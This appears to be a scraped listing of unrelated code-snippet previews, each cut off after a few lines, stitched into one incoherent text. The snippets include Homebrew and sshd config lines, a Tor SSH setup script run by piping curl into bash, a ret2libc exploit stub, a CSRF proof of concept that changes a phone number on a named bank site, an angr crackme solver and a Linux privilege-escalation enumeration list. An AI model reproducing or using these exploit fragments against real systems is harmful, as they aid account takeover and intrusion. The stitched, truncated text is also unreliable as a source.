Check if gettext is installed, if not use Homebrew to get it:
$ brew install gettextGet the gettext library and cpp flags, and configure with those flags:
$ brew info gettext | grep FLAGS| import sys | |
| path = sys.argv[1] | |
| main_addr = 0x1faf | |
| main_size = 1749 | |
| main_real = '' | |
| main = '' | |
| key = "a15abe90c112d09369d9f9da9a8c046e" | |
| key_len = len(key) |
| default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam' | |
| default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes' | |
| default['sshd']['sshd_config']['PasswordAuthentication'] = 'no' |
| #!/bin/bash | |
| # TOR Setup Script | |
| # Author: Nick Busey | |
| # | |
| # This file is meant to get SSH access via Tor to an Ubuntu server in one command. | |
| # | |
| # Quick Usage (as root): $ bash <(curl -s https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh) | |
| # | |
| # Usage for the paranoid: |
| from scapy.sendrecv import send | |
| from scapy.layers.inet import * | |
| from binascii import unhexlify | |
| import sys | |
| magic = '' | |
| for h in sys.argv[1].split(':'): magic += unhexlify(h); | |
| send(IP(dst="255.255.255.255")/UDP(dport=9)/Raw(load=(chr(0xff)*6 + magic*16))) |
| #!/bin/bash | |
| # cedric | |
| # XXX: this is how I prefer to stop a VM, change this at will | |
| PREFERRED_STOP_METHOD="acpipowerbutton" | |
| function perror() { echo -e $@ 1>&2; } | |
| function vm_exists() { | |
| local VM=$1 | |
| VBoxManage showvminfo "${VM}" >/dev/null 2>&1 | |
| return $? |
| #!/usr/bin/python | |
| import logging | |
| from angr import * | |
| from pwn import log | |
| ''' | |
| [0x00001080]> afl~com | |
| 0x00001173 3 110 sym.comprueba_0 | |
| 0x000011e1 3 112 sym.comprueba_1 | |
| 0x00001251 3 116 sym.comprueba_2 |
| #!/usr/bin/python | |
| from struct import pack | |
| def little(x): | |
| return pack('<I', x) | |
| buf_len = 52 | |
| libc_addr = 0xb7e19000 | |
| system_off = 0x0003ada0 |
| <html> | |
| <head> | |
| <script type="text/javascript" src="https://blue.baccredomatic.com/js/jquery-3.3.1.min.js"></script> | |
| </head> | |
| <body onload="change();"> | |
| <p>cellphone change poc</p> | |
| <script type="text/javascript"> | |
| function change() | |
| { | |
| var paramsValues = {cellPhoneNumber: "12345678" }; |
| // Determine linux distribution and version | |
| cat /etc/issue | |
| cat /etc/*-release | |
| cat /etc/lsb-release | |
| cat /etc/redhat-release | |
| // Determine kernel version - 32 or 64-bit? | |
| cat /proc/version | |
| uname -a | |
| uname -mrs |